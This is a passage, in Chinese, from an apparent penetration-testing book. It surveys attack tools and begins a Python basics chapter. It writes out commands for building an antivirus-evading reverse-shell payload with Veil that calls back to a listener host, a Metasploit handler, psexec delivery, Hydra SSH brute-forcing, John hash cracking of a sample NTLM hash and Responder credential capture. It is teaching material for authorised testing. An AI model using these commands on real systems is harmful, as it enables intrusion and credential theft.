如果令牌在内存中来自缓存会话,请使用 Incognito 窃取它们(后期利用)
-
通过 ping 域来识别域控制器(漏洞分析)。
-
从受损系统在域控制器上创建新用户(后期利用)。
-
从受损系统将新用户添加到域管理员组(后期利用)。
-
识别可以访问的关键数据的新位置(漏洞分析)。
现在,经验丰富的评估员通常会在可能的情况下完成与漏洞分析相关的必要活动,并及早编目数据。因此,在评估的早期阶段,会创建具有开放端口 445、DC IP 地址和其他详细信息的主机列表。这样,如果参与的是双盲评估的一部分,评估员可以在被发现之前迅速获得特权访问。现在,评估的方法和组织已经确定,我们需要看看目前使用的工具。
渗透测试工具
以下是在参与过程中使用的一些常见工具,以及它们应该如何和何时使用的示例。这些工具中的许多都有进一步的解释,在第二章之后,Python 脚本的基础。我们无法涵盖市场上的每个工具,以及它们应该何时使用的具体情况,但这里有足够的示例来提供扎实的知识基础。在本书中,可能需要多行来显示特别长的命令示例。这些命令将使用**字符来指示新行。如果这些命令被复制和粘贴,它们将正常运行,因为在 Linux 和 Unix 中,命令在回车后继续。
这些工具也是根据您最有可能获得最大利用价值的基础进行组织的。在审查这些工具之后,您将了解市场上有什么,并看到可能需要自定义 Python 脚本或工具的潜在空白。通常,这些脚本只是解析和以正确格式输出所需细节的桥梁代理。其他时候,它们自动化了繁琐和费力的过程;在阅读时请记住这些因素。
NMAP
网络映射器(Nmap)是为管理员和安全专业人员创建的第一批工具之一。它提供了行业内一些最好的功能,可以快速分析目标,并确定它们是否有可以被利用的开放端口和服务。该工具不仅为我们安全专业人员提供了与 Luna 脚本相关的额外功能,它们可以充当小型 VMS,而且还提供了利用系统的手段。
就像这些还不足以使 Nmap 成为评估者和工程师工具包中的必备工具一样,Nmap 安全扫描器项目和insecure.org/
已经为需要每天运行几次测试扫描的人设置了一个网站scanme.nmap.org/
。除了允许新的评估者每天执行几次扫描外,这个网站还可以查看组织内部可访问的端口。如果您想自己测试一下,请尝试对该网站进行标准的全连接传输控制协议(TCP)端口扫描。有关 Nmap 的其他详细信息将在第三章中讨论,使用 Nmap、Scapy 和 Python 识别目标。以下示例显示了如何对互联网上开放的前 10 个端口进行扫描(在执行此扫描之前,请阅读他们网站上的警告):
nmap –sT –vvv --top-ports 10 –oA scan_results scanme.nmap.org
Metasploit
2003 年,H.D. Moore 创建了著名的 Metasploit 项目,最初是用 Perl 编写的。到 2007 年,该框架完全改用 Ruby 重新编码;到 2009 年 10 月,他将其出售给了 Nexpose 的创建者 Rapid7。多年后,由于 H.D. Moore 的出售规定,该框架仍然是一个免费的产品。Rapid7 从该框架中创建了一个专业产品,名为 Metasploit Pro。
专业版解决方案具有一些框架没有的功能,例如与 Nexpose 的集成、本地入侵防御系统(IPS)绕过有效载荷、Web图形用户界面(GUI)和多用户功能。这些额外功能的价格相当昂贵,但根据您的市场,一些客户要求所有工具都需要付费,因此请记住专业版。如果您不需要为 Metasploit 付费,也不需要额外的功能,那么框架就足够了。
请记住,Metasploit Pro 中的 IPS 绕过工具内置了许多不同的规避方法。其中一个特点是利用代码的结构每次略有不同。因此,如果 IPS 绕过一次失败,可能在同一台主机上再次运行时成功。这并不意味着如果您运行了 10 次,前九次失败了,第十次就一定会成功。因此,请注意并学习与psexec
和系统利用相关的错误消息。
如果需要的话,可以从 Metasploit 运行整个评估;虽然不建议这样做,但工具确实有这个能力。Metasploit 是模块化的;事实上,Metasploit 中的组件被称为模块。模块分为以下几类:
-
辅助模块
-
利用模块
-
后置模块
-
有效载荷模块
-
NOP 模块
-
编码器模块
辅助模块包括扫描器、暴力破解器、漏洞评估工具和服务器模拟器。利用模块就是可以运行以利用接口服务或其他解决方案的工具。后置模块旨在提升权限、提取数据或与系统上的当前用户交互。有效载荷提供了一种封装的交付工具,一旦获得对系统的访问权限就可以使用。当配置利用模块时,通常需要配置有效载荷模块,以便返回一个 shell。
无操作(NOP)模块生成对特定硬件架构无效的操作。在创建或修改利用时,这些模块非常有用。Metasploit 中的最后一种模块类型是编码器模块。对编码器的用途存在着巨大的误解。事实上,它们用于通过改变有效载荷的结构来使有效载荷的执行更加可靠,以去除某些类型的字符。这会重新格式化原始有效载荷的操作码,并使有效载荷变得更大,有时甚至更大。
偶尔,负载结构的变化意味着它将绕过严格依赖特定签名的 IPS。这导致许多评估者认为编码是为了绕过防病毒软件;这只是编码的副产品,而不是意图。今天,编码很少绕过企业级 IPS 解决方案。像 Veil 这样的其他产品为这个困境提供了更合适的解决方案。由于大多数利用可以引用外部负载,最好寻求像 Veil 这样的外部解决方案,即使你使用的是 Metasploit 的专业版。在某些情况下,Metasploit Pro 的 IPS 绕过能力将无法使用;在这种情况下,可能需要其他工具。Metasploit 将在本书的其他章节中详细介绍。
Veil
这个防病毒软件逃避套件有多种方法来生成负载。这些负载类型利用了有经验的评估者和恶意行为者多年来手动使用的方法。这包括使用高级加密标准(AES)加密负载,对它们进行编码,并随机化变量名称。然后可以将这些细节包装在 PowerShell 或 Python 脚本中,以使生活更加轻松。
Veil 可以通过命令行界面(CLI)或类似于 Metasploit 的控制台启动。例如,以下命令显示了创建一个 PyInjector 利用的 CLI 的用法,它拨打回监听主机的 80 端口;如果你想测试这个,确保你用你的实际 IP 替换"yourIP"。
./Veil.py -l python -p AESVirtualAlloc -o \
python_payload --msfpayload \
windows/Meterpreter/reverse_tcp --msfoptions \
LHOST=yourIP LPORT=80
现在,继续启动你的 Metasploit 控制台,并使用以下命令启动监听器。这将启动控制台;确保等待它启动。此外,它在你的主机上设置了一个监听器,所以确保你用你的实际 IP 地址替换"yourIP"。监听器将在后台运行,等待返回的会话。
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 80
set lhost yourIP
exploit -j
将负载移动到目标 Windows 系统并运行负载。只要没有配置问题,监听主机的端口 80 上没有其他服务运行,并且没有阻止被利用主机和监听器之间连接到端口 80 的任何东西,你应该会在你的 Kali 主机上看到一个会话生成。
那么,如果你有这些自定义利用,你如何将它们与真正的 Metasploit 利用结合使用呢?简单,只需调整变量指向它们。以下是在 Metasploit 中使用psexec
模块的示例。确保将 targetIP 更改为目标 Windows 系统的 IP。设置系统上的本地管理员的用户名和本地管理员的密码。最后,将自定义EXE
路径设置为你的python_paload.exe
,你应该会看到在你的监听器上生成一个 shell。
use exploit/windows/smb/psexec
set rhost targetIP
set SMBUser username
set password password
set EXE::Custom /path/to/your/python_payload.exe
exploit -j
Burp Suite
Burp Suite 是透明代理或用于直接交互和操纵发送到浏览器和从浏览器发送的网络流的工具时的标准。这个工具有一个专业版,增加了一个不错的网络漏洞扫描器。在使用它时应该小心,因为它可能导致多次提交论坛、电子邮件和交互。
其 Spider 工具也是如此,它与范围内的 Web 应用程序交互,并将它们映射到类似于 Google 和 Bing 的 Web 爬虫。确保在使用这些工具时,最初禁用自动提交和登录,直到你更好地了解这些应用程序。更多关于 Burp 和类似的 Web 工具将在第六章中介绍,使用 Python 评估 Web 应用程序。其他类似的工具包括Zed Attack Proxy(ZAP),它现在还包含了名为 DirBuster 的未链接文件夹和文件研究工具。
Hydra
Hydra 是一种服务或接口字典攻击工具,可以识别可能提供访问权限的有效凭据。Hydra 是多线程的,这意味着它可以同时评估多个猜测的服务,大大加快了攻击和产生的噪音。例如,以下命令可用于攻击具有 IP 地址192.168.1.10
的主机上的Secure Shell(SSH)服务:
hydra -L logins.txt -P passwords.txt -f -V 192.168.1.10 ssh
此命令使用用户名列表和密码列表,在第一次成功时退出,并显示尝试的每个登录组合。如果您只想测试单个用户名和密码,命令将更改为分别使用小写l
和p
。相应的命令如下:
hydra -l root -p root -f -V 192.168.1.10 ssh
Hydra 还具有针对服务和网站的身份验证接口进行暴力攻击的能力。行业中有许多其他具有类似功能的工具,但大多数评估者使用 Hydra,因为它具有广泛的功能和协议支持。有时 Hydra 不适用,但通常其他工具也无法满足需求。发生这种情况时,我们应该考虑创建一个 Python 脚本。有关凭据攻击的其他详细信息在第四章中有所涵盖,使用 Python 执行凭据攻击。
约翰·里波特
约翰·里波特(JtR),或者大多数人称之为约翰,是市场上最好的破解软件之一,可以攻击加盐和未加盐的哈希。约翰最大的好处之一是它可以与大多数哈希一起使用。约翰有能力从标准输出和文件格式中识别哈希类型。如果仅提供哈希文件而没有参数,约翰将尝试使用其标准方法破解哈希。首先尝试单一破解模式,然后是单词列表模式,最后是增量模式。
提示
下载示例代码
您可以从您在www.packtpub.com
的帐户中下载示例代码文件,用于您购买的所有 Packt Publishing 图书。如果您在其他地方购买了这本书,您可以访问www.packtpub.com/support
并注册,文件将直接通过电子邮件发送给您。
注意
盐是伪随机数生成器(PRNG)的输出,已编码以产生相对随机的字符。盐被注入到散列密码的过程中,这意味着每次散列密码时,都会以不同的格式进行。然后将盐与哈希一起存储,以便在认证期间输入凭据的比较算法能够正常工作,需要相同的盐才能产生相同的哈希。这为散列算法增加了额外的熵,提供了额外的安全性,并减轻了大多数彩虹表攻击。
单一破解攻击从哈希文件中获取信息,搅乱明文单词,然后将细节作为密码与一些其他规则集一起使用。单词列表模式就是这样;它使用默认单词列表。最后,增量模式以暴力攻击的方式运行每个字符可能性。如果您真的需要相对增量或暴力攻击模式,最好使用独立的运行 oclHashcat 的破解服务器。
注意
密码破解器以以下两种方法之一工作:通过实时对测试密码进行哈希,或者通过取预先计算的哈希并将其与测试哈希进行比较。实时哈希攻击允许评估者破解在原始哈希过程中进行盐化或未盐化的密码。预先计算的哈希攻击速度更快,但除非在预计算期间已知盐,否则无法破解盐化密码。预先计算攻击使用称为彩虹表的链接表。实时密码攻击使用字典或单词列表,这些列表可以在实时中变异或在每个字符位置上以不同的字符集递增。这分别描述了字典攻击和暴力攻击。
以下是在John
文件夹中针对hash
文件运行John
的示例,如果hashfile
位于那里。
./john hashfile
以单用户模式运行John
来对hashfile
进行破解,运行以下命令:
./john --single hashfile
要使用单词列表运行John
,请使用以下命令:
./john --wordlist=password_list hashfile
您可以同时运行规则来对字符进行排列和替换。
./john --wordlist=password_list --rules hashfile
John 的真正优势在于能够在大多数系统上使用,具有强大的排列规则,并且非常用户友好。John 擅长破解大多数标准操作系统密码哈希。它还可以轻松地表示易于与用户名和原始哈希匹配的详细信息。
注意
与 John 相比,oclHashcat 没有本地能力以简单格式匹配破解的详细信息与原始数据。这使得提供与唯一哈希相关的密码破解统计数据更加困难。当提供的哈希可能来自多个来源并与同一帐户关联时,这一点尤为真实,因为它们可能会使用不同的盐进行调整。请记住,大多数组织希望在最终报告中获得破解统计数据。
以下命令演示了如何使用 John 显示密码破解结果:
./john --show hashfile
John 的一个独特能力是能够从单词列表中生成排列密码,尤其是在与 Cewl 一起使用时,可以帮助构建坚实的破解列表。以下是如何使用 John 创建一个只包含唯一单词的排列密码列表的示例:
./john --wordlist=my_words --rules --stdout | unique my_words_new
使用 John 破解 Windows 密码
使用 John 破解密码最大的优势是对已经以本地区域网络(LAN)管理器(MAN)或(LM)格式进行哈希的密码进行破解。LM 哈希是一种弱哈希形式,可以存储长达 14 个字符的密码。密码被分成两个部分,每个部分最多七个字符,并且以大写格式呈现。破解这种类型的哈希时,您必须破解 LM 哈希,以将大写密码的两个部分转换为正确大小写的单个密码。
我们通过破解 LM 哈希,然后将这个破解的密码作为单词列表与启用排列规则的 John 一起运行。这意味着密码将被用作单词来攻击不同格式的新技术 LM(NTLM)哈希。这允许更强大的 NTLM 哈希更快地被破解。这可以通过名为LM2NTCRACK
的 Perl 脚本相对自动地完成,但您也可以使用 John 手动完成,并且也会取得很大成功。
您可以从网站(例如www.tobtu.com/lmntlm.php
)创建一个喜欢的密码的测试哈希。我从 test 密码生成了 pwdump 格式,并将用户名更改为 Administrator。
Administrator:500:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::
确保您将复制的密码作为一行并将其放入文件中。以下命令是基于hash
文件命名为hashfile
并放置在正在运行测试的John
目录中的想法设计的。
./john --format=lm hashfile
一旦密码被破解,你可以直接从输出中复制它,并将其放入一个名为my_wordlist
的新文件中。你也可以使用已经演示过的命令显示破解哈希的密码。将密码放入文件的简单方法是将echo
重定向到文件中。
echo TEST > my_wordlist
现在,使用这个单词列表对输入数据执行带规则的字典攻击,以排列这个单词。这将允许你找到正确大小写的密码。
./john -rules --format=nt --wordlist=my_wordlist hashfile
以下屏幕截图突出了使用先前描述的技术来破解这个哈希:
oclHashcat
如果你有一个专用的密码破解器,或者一个拥有强大图形处理单元(GPU)的系统,oclHashcat 是一个不错的选择。该工具可以利用适合的受众可用的强大处理能力快速破解密码哈希。需要牢记的重要一点是,oclHashcat 并不像 John the Ripper 那样简单直观,但它具有强大的暴力破解能力。该工具具有配置通配符的能力,这意味着破解密码的动态可以非常具体。
提示
支持无 GPU 破解的 oclHashcat 版本称为 Hashcat。这个破解工具在密码破解方面很快超过了 John,但需要更多的研究和培训才能使用。随着经验的积累,你应该转向使用 Hashcat 或 oclHashcat 进行破解。
Ophcrack
这个工具最著名的是作为一个启动盘攻击工具,但它也可以作为一个独立的彩虹表破解器使用。Ophcrack 可以直接刻录到可启动的通用串行总线(USB)驱动器或光盘(CD)中。当放置在没有全盘加密(FDE)的 Windows 系统中时,该工具将从操作系统中提取哈希。这是通过引导到一个 LiveOS 或在内存中运行的操作系统来完成的。该工具将尝试用基本的表来破解哈希。大多数情况下,这些表会失败,但哈希本身可以安全地从主机复制到攻击盒中。然后可以使用诸如 John 或 oclHashcat 之类的工具离线破解这些哈希。
Mimikatz 和 Incognito
这两个工具都可以在 Meterpreter 会话中本地运行,并且每个工具都提供了与 Windows 主机会话交互和利用的手段。Incognito 允许评估者通过模拟用户缓存的凭据来与内存中的令牌交互。Mimikatz 允许评估者直接提取内存中存储的凭据,这意味着用户名和密码直接暴露出来。Mimikatz 还具有针对使用诸如 SysInternals ProcDump 等工具生成的内存转储离线运行的额外功能。
提示
Mimikatz 有许多版本,我们在本书中介绍的是 Meterpreter 中的一个例子。
SMBexec
这个工具是一个由 Ruby 开发的工具套件,它利用 PtH 攻击、Mimikatz 和哈希转储的组合来利用网络。SMBexec 使接管网络变得非常容易,因为它提供了一个控制台界面,只需要一个初始哈希和用户名或凭据对,以及一个网络范围。该工具将自动尝试访问资源,提取内存中的凭据详细信息、缓存详细信息和存储的哈希。SMBexec 的问题在于 Ruby Gem 的不一致可能导致这个工具表现不稳定,并且可能导致其他工具如 Metasploit 甚至整个 Kali 实例崩溃。如果要使用 SMBexec,一定要创建一个专门的虚拟机来运行这个工具。
Cewl
Cewl 是一个网络爬虫工具,它从网站中解析单词,唯一地识别它们的实例,并将它们输出到文件中。像 Cewl 这样的工具在开发定制的目标密码列表时非常有用。Cewl 具有许多功能,包括针对详细信息的定向搜索以及工具将挖掘的深度的限制。Cewl 基于 Ruby,通常与 SMBexec 和其他 Ruby 产品一样存在问题。
Responder
Responder 是一个 Python 脚本,可以让评估人员通过Web 代理自动发现(WPAD)的错误配置将代理请求重定向到攻击者的系统。它还可以接收网络 NTLM 或 NTLMv2 挑战响应哈希。这是通过利用本地启用的本地链接多播名称请求(LLMNR)和网络基本输入输出系统(NetBIOS)名称服务(NB-NS)来完成的。
Responder 的使用非常简单;用户只需在与目标相同的广播域内的网络中。执行以下命令将在用户的 Internet Explorer 会话中创建一个弹出窗口。它将请求他/她的域凭据以允许他/她继续;这种攻击还意味着 NTLMv2 受保护的哈希将从针对 LLMNR 和 NB-NS 请求的攻击中提供。确保将“yourIP”替换为您的实际 IP 地址。
python Responder.py -I yourIP -w -r -f -v -F
您还可以强制 Web 会话返回基本身份验证,而不是 NTLM 响应。当 WPAD 看起来已在环境中得到缓解时,这是有用的。这意味着您通常会从针对 LLMNR 和 NB-NS 请求的攻击中收到 NTLMv2 挑战响应哈希。
python Responder.py -I yourIP -r -f -v -b
Responder 攻击已成为大多数内部评估的主要内容。WPAD、LLMNR 和 NB-NS 在大多数环境中都是普遍的错误配置,应尽可能进行评估。这些漏洞通常被评估人员和恶意行为者所利用。
theHarvester 和 Recon-NG
这些工具专门用于识别与开源情报(OSINT)收集相关的数据。theHarvester 工具基于 Python,可以很好地从搜索引擎和社交媒体中找到详细信息,但 Recon-NG 是新生力量。Recon-NG 是一个基于控制台的框架,也是用 Python 创建的,可以查询多个信息库。这种扩展功能意味着 Recon-NG 现在通常是评估人员首选的工具。Recon-NG 并没有取代 theHarvester,但除非 Recon-NG 没有找到足够的细节,否则通常不会使用 theHarvester。
pwdump 和 fgdump
与大多数像 Mimikatz 这样的工具相比,这些工具已经很老了,但它们在行业中非常知名,许多密码破解工具都是基于它们的输出格式。事实上,Metasploit 的hashdump
和smart_hashdump
以所谓的pwdump
格式输出系统哈希。这些哈希可以直接从会话中提取并放入文件中,然后通过使用前面提供的本机命令示例运行John
。
Netcat
Netcat 或网络连接,也称为nc
,是最古老的评估和管理工具之一。它旨在通过提供 IP 地址、端口和协议直接与端口和服务进行交互。它还可以传输文件并建立主机之间的会话。由于这个工具的所有功能,它通常被称为数字瑞士军刀,被评估人员和管理员广泛使用。
提示
SANS 研究所有一份关于 netcat 的绝妙备忘录,突出了其大部分功能,可以在以下网址找到:
pen-testing.sans.org/retrieve/netcat-cheat-sheet.pdf
Sysinternals 工具
这套工具包最初由 Wininternals Software LP 在得克萨斯州奥斯汀开发。这些工具为管理员和其他专业人士提供了在大型域中处理、维护和控制 Windows 系统的能力。这些工具提供的功能并不是 Windows 的本机功能;微软意识到了这一点,并在 2006 年收购了该公司。这些工具是免费向公众开放的,值得注意的是,许多黑客工具是基于最初在这套工具包中创建的概念构建的。
这套工具包中使用的一些工具示例包括procdump
用于转储内存和提取凭据。psexec
工具执行 PtH 或执行远程进程以与远程主机建立会话,并提供与pskill
或pslist
一起的进程交互和列表功能。值得注意的是,这些工具是由管理员使用的,通常是白名单。因此,虽然许多黑客工具被 IPS 阻止,但这些工具通常不会。因此,当一切都失败时,始终要像一个恶意管理员一样思考,因为利用这些功能是大多数恶意行为者所做的关键。
总结
本章重点讨论和定义了渗透测试以及为什么需要它。基于这个定义,描述了 PTES 框架,它为新的评估者提供了在实际参与中建立知识的手段。为了验证这些知识,我们探讨了一个示例参与如何在主要执行阶段中展开。最后,列出并解释了在各种评估中使用的主要工具,其中许多将在接下来的章节中通过现实示例进一步解释。现在您已经了解了渗透测试及其方法论,我们将开始学习 Python 的强大之处以及启动和运行它有多么容易。
第二章:Python 脚本的基础知识
在开始编写你的第一个 Python 脚本之前,应该先了解一些概念。现在学习这些内容将有助于你将来更快地开发代码。这将提高你作为渗透测试人员的能力,或者理解评估人员在创建实时自定义代码时在做什么以及你应该问什么问题。你还应该了解如何创建脚本以及你试图实现的目标。你会经常发现你的脚本会随着时间而变化,目的可能会改变。这可能是因为你意识到脚本的真正需求可能不存在,或者有一个特定功能的现有工具。
许多脚本编写者会觉得沮丧,因为他们可能已经花了很多时间在一个项目上,但最终发现这个工具具有更高级工具的重复功能。不要把这看作是一个失败的项目,而是把这个活动看作是一个经历,在这个过程中你学到了一些最初不知道的新概念和技术。此外,无论何时你在开发代码片段时,都要时刻记在心里,这些代码片段可以在将来的其他项目中使用。
因此,尽量编写清晰的代码,用注释说明你在做什么,并使其模块化,这样一旦学会了如何构建函数,它们可以在将来的其他脚本中被剪切和粘贴。这个旅程的第一步是以高层次描述计算机科学词汇表,这样你就可以理解将来的章节或其他教程。如果不理解这些基本概念,你可能会误解如何实现你想要的结果。
注意
在运行本书中的任何脚本之前,我建议你在 git 存储库上运行设置脚本,这将为你的 Kali 实例配置所有必要的库。该脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/setup.sh
找到。
理解解释型语言和编译型语言之间的区别
Python、Ruby 和 Perl 等语言都是解释型语言,这意味着代码在执行脚本时会被转换为机器语言并运行。需要在运行之前编译的语言,比如 Cobol、C 或 C++,可能更有效率和更快,因为它在执行之前被编译,但这也意味着代码通常不太可移植。由于编译代码是为特定环境生成的,当你需要在异构环境中移动时,它可能不太有用。
注意
异构环境是一个具有多个系统类型和不同发行版的环境。因此,可能会有多个 Unix/Linux 发行版、Mac OS 和 Windows 系统。
解释型代码通常具有可移植性的好处,只要解释器可用。因此,对于 Python 脚本,只要安装了解释器并且库是本地可用的,脚本就应该可以运行。始终记住环境中会有特殊情况,在使用脚本之前,应该在类似的测试环境中进行彻底测试。
那么为什么你应该学习 Python 而不是其他脚本语言呢?我在这里不做这个论点,原因是最好的评估人员使用他们所评估的环境中可用的工具。你将编写对评估环境有用的脚本,Python 非常适合这样做,但当你获得对系统的访问权限时,最好使用可用的工具。
高度安全的环境可能会阻止您使用渗透框架,或者评估规则可能会做同样的事情。当这种情况发生时,您必须查看系统上可用的内容并继续前进。如今,新一代 Windows 系统使用 PowerShell 进行攻击。在当前的 Mac、Linux、Unix 和 Windows 操作系统中,尤其是在开发环境中,您可以找到 Python 的版本。在 Web 服务器上,您会发现 Ruby、Python 或 Perl。在所有形式的操作系统上,您都会找到本机 shell 语言。它们提供了许多功能,但通常具有过时的语言结构,需要比其他脚本语言更多的代码行来完成相同的任务。这些 shell 语言的示例包括 Bourne-again Shell(BASH)、Korn Shell(KSH)、Windows 命令 Shell 和等效物。
在大多数渗透系统中,您会发现所有的语言,因为大多数黑客笔记本电脑或 HackTops 使用多个虚拟机(VMs)和许多操作系统。旧的评估工具是用 Perl 编写的,因为该语言在当时提供了其他解释语言无法提供的多种功能。新工具通常是用 Ruby 和 Python 创建的。事实上,今天正在创建的许多库都是为了改进这些语言的能力,特别是为了评估组织被恶意行为者威胁的潜在可行性。
提示
请记住,您的 HackTop 有多个虚拟机,不仅提供攻击工具,还提供一个安全测试平台来测试您的脚本。在您的 HackTop 上恢复虚拟机的快照很容易,但是告诉客户为什么您使用未经测试的脚本损坏了他们的业务关键组件却不容易。
编译语言并非毫无价值;许多工具是用 C、C++和 Java 创建的。这些类型的工具的示例包括 Burp Suite、Cain & Abel、DirBuster、Zed Attack Proxy(ZAP)、CSRFtester 等。您可能会注意到,这些工具中的大多数最初是在评估环境的早期创建的。随着系统变得更加强大和解释器变得更加高效,我们看到其他工具转移到了解释语言而不是编译语言。
那么这里的教训是什么?尽可能多地学习,以在尽可能多的环境中操作。这样,当遇到障碍时,您可以返回到代码并脚本化以获得必要的访问级别。
Python-优点和缺点
Python 是创建可实现切实结果的工作代码的最简单的语言之一。事实上,Python 具有本地交互式解释器,通过它可以直接测试代码,只需在 CLI 中执行单词python
。这将带来一个界面,可以在尝试编写脚本之前测试代码的概念。此外,这个界面不仅允许测试新概念,还允许导入模块或其他脚本作为模块,并使用它们创建强大的工具。
Python 的这种测试能力不仅允许评估者验证概念,还可以避免处理繁琐的调试器和测试用例,快速原型化攻击代码。当参与项目并确定特定的攻击训练是否能够及时产生有用的结果时,这一点尤为重要。最重要的是,使用 Python 和导入特定库通常不会破坏整个工具套件,卸载特定库也非常容易。
注意
为了维护客户环境的完整性,你应该避免在客户系统上安装库。如果有必要这样做,确保你与你的联系人一起工作,因为可能会产生意想不到的后果。这也可能被视为违反组织的系统开发生命周期(SDLC)和其变更控制流程。最终结果是,你可能会为客户创造比原始评估意图更多的风险。
Python 的语言结构虽然与许多其他形式的编码不同,但非常简单。阅读 Python 类似于阅读一本书,但有一些细微的注意事项。在撰写本书时,基本上有两种不同形式的 Python 开发树——Python 2.X 和 Python 3.X。大多数评估工具在 2.X 版本上运行,这也是我们将重点关注的,但是语言版本的改进基本上已经停止。你可以编写适用于两个版本的代码,但这需要一些努力。
实质上,Python 3.X 版本已经开发成更加面向对象(OO),这意味着为它编码意味着专注于面向对象的方法和属性。这并不是说 2.X 不是面向对象的;只是它没有 3.X 版本发展得那么好。最重要的是,一些库与两个版本都不兼容。
信不信由你,Python 脚本不完全兼容的最常见原因是内置的print
函数。
注意
在 Python 2.X 中,print
是一个语句,在 3.X 中,它是一个函数,你将在下面看到。在本书中,单词语句和函数的使用可能是可以互换的,但理解它们之间的区别是构建版本无关脚本的关键。
尝试使用print
在屏幕上打印一些东西可以通过两种方式完成。一种是使用包裹在参数中,另一种是不使用它们。如果使用包裹在参数中,它与 2.X 和 3.X 兼容;如果不是,那么它只能与 2.X 一起使用。
以下示例显示了一个仅适用于 2.X 的print
函数的样子:
print "You have been hacked!"
这是一个与 2.X 和 3.X Python 解释器兼容的print
函数的示例:
print("You have been hacked!")
在你开始创建脚本之后,你会注意到你在脚本中经常使用print
函数。因此,在大型脚本中进行大规模的文本替换可能是费力且容易出错的,即使使用自动化方法也是如此。例如,包括sed
、awk
和其他数据处理工具。
随着你成为一个更好的评估者,你应该努力编写你的脚本,使它们可以在任何一个版本中运行。原因是,如果你妥协了一个环境,你需要一个自定义脚本来完成一些后渗透活动,你不会希望因为版本不兼容而减慢速度。开始的最佳方式是确保你使用与 Python 两个版本兼容的print
函数。
注意
面向对象编程意味着语言支持可以根据需要创建和销毁的对象来完成任务。已经开发了整个培训课程来解释和扩展面向对象的概念。这些概念的深入解释超出了本书的范围,但建议进一步学习。
除了面向对象的思维过程和支持面向对象的代码的构建之外,还有创建“Python 化”或“Pythonic 脚本”。这不是虚构的;相反,它是一种定义创建和编写 Python 脚本的正确方法。你可以以许多方式编写 Python 脚本,多年来,最佳实践已经发展。这就是所谓的Pythonic,因此,我们应该始终努力以这种方式编写。原因是,当我们作为贡献者向社区提供脚本时,它们更容易阅读、维护和使用。
注意
Pythonic 是一个很好的概念,因为它涉及到影响其他语言的采用和社区中不良实践的一些最重要的事情。
Python 交互式解释器与脚本
Python 语言有两种使用方式。一种是通过交互式解释器,允许快速测试函数、代码片段和想法。另一种是通过一个完整的脚本,可以保存并在不同系统之间传输。如果你想尝试交互式解释器,只需在命令行中输入python
。
注意
交互式解释器在不同操作系统中的功能方式相同,但与系统交互的库和调用函数可能不同。如果引用了特定位置,或者命令和/或库使用特定于操作系统的功能,功能将不同。因此,在脚本中引用这些细节将大大影响其可移植性,因此不被认为是一种主流做法。
环境变量和 PATH
这些变量对于执行 Python 编写的脚本很重要,但不是用于编写脚本。如果它们没有配置,Python 二进制文件的位置必须通过其完全限定的路径位置引用。例如,在 Windows 中,没有声明环境变量的情况下执行 Python 脚本的示例:
C:\Python27\python wargames_print.py
如果脚本顶部没有列出对正确解释器的引用,并且文件在当前目录中,则在 Linux 或 Unix 中相当于以下内容:
/usr/bin/python ./wargames_print.py
在 Windows 中,如果环境变量已设置,只需输入python
和脚本名称即可执行脚本。在 Linux 和 Unix 中,我们在脚本顶部添加一行以使其更具可移植性。对我们(渗透测试人员)的好处是,这使得脚本在许多不同类型的系统上都很有用,包括 Windows。这行在 Windows 操作系统中被忽略,因为它被视为注释。所有 Python 脚本的顶部应包含以下引用行:
#!/usr/bin/env python
这行让操作系统根据PATH
环境变量中设置的内容确定正确的解释器来运行。在互联网上的许多脚本示例中,你可能会看到对解释器的直接引用,比如/usr/bin/python
。这不被认为是一种良好的做法,因为它会使代码不够可移植,并且更容易出现潜在的系统更改错误。
提示
设置和处理PATH
和环境变量对每个操作系统都是不同的。有关 Windows,请参阅docs.python.org/2/using/windows.html#excursus-setting-environment-variables
。对于 Unix 和 Linux 平台,详细信息可以在docs.python.org/2/using/unix.html#python-related-paths-and-files
找到。此外,如果有一天需要为特定工具创建特殊的环境变量,可以在docs.python.org/2/using/cmdline.html
找到详细信息。
理解动态类型语言
Python 是一种动态类型的语言,这意味着很多东西,但最关键的方面是变量或对象的处理方式。动态类型的语言通常与脚本语言等同,但这并不总是如此,需要明确。当你编写脚本时,这对你的意义是变量在运行时被解释,因此它们不必按大小或内容定义。
第一个 Python 脚本
现在你对 Python 是什么有了一个基本的概念,让我们创建一个脚本。我们不使用著名的 Hello World!
介绍,而是使用一个文化电影的例子。脚本将定义一个函数,该函数将打印出 1983 年文化经典电影 WarGames 中的一句名言。有两种方法可以做到这一点,如前面提到的;第一种是通过交互式解释器,第二种是通过脚本。打开交互式解释器并执行以下命令:
print("Shall we play a game?\n")
前面的打印语句将显示代码执行成功。要退出交互式解释器,可以输入exit()
,或者在 Windows 中使用 Ctrl + Z,在 Linux 中使用 Ctrl + D。现在,在你喜欢的编辑工具中创建一个脚本,比如 vi、vim、emacs 或 gedit。然后将文件保存在 /root/Desktop
中,命名为 wargames_print.py
:
#!/usr/bin/env python
print("Shall we play a game?\n")
保存文件后,使用以下命令运行它:
python /root/Desktop/wargames_print.py
你将再次看到脚本执行相同的结果。在这个例子中要注意一些事项。python
脚本是通过引用完全限定的路径来运行的,以确保调用正确的脚本,无论位置如何。如果脚本驻留在当前位置,可以以以下方式执行:
python ./wargames_print.py
提示
Kali 不需要本地执行这些脚本的 ./
,但养成这个习惯是很好的,因为大多数其他 Linux 和 Unix 操作系统都需要。如果你不习惯这种做法,而且在评估时有点睡眠不足,你可能意识不到你的脚本为什么一开始没有执行。这种技巧可以在多人团队合作中避免一些尴尬。
开发脚本和识别错误
在我们开始创建大规模的脚本之前,你需要了解可能产生的错误。如果你开始创建脚本并产生了一堆错误,你可能会感到沮丧。请记住,Python 在指导你需要查看的内容方面做得相当不错。然而,错误的产生者通常要么就在引用的行之前,要么就是调用的函数。这可能会产生误导,为了防止沮丧,你应该了解 Python 可能在错误中引用的定义。
保留字、关键字和内置函数
保留字、关键字和内置函数也被称为禁用,这意味着这些名称不能用作变量或函数。如果重复使用这些单词或函数,将会显示错误。Python 中本地设置了一些保留字和内置函数,取决于你使用的版本,它们可能会发生变化。现在你不必太担心这个问题,但如果你看到与变量或值的定义相关的错误,要考虑到你可能使用了关键字或内置函数。
注意
关于关键字和内置函数的更多细节可以在 docs.python.org/2/library/keyword.html
找到。
以下是一些 Python 关键字的示例和简要定义。这些将在本章的其余部分详细描述:
示例关键字 | 目的 |
---|---|
for | 一种用于迭代的 Python 循环类型 |
def | 在当前脚本中创建的函数的定义 |
if | 评估语句并确定结果行动的方法 |
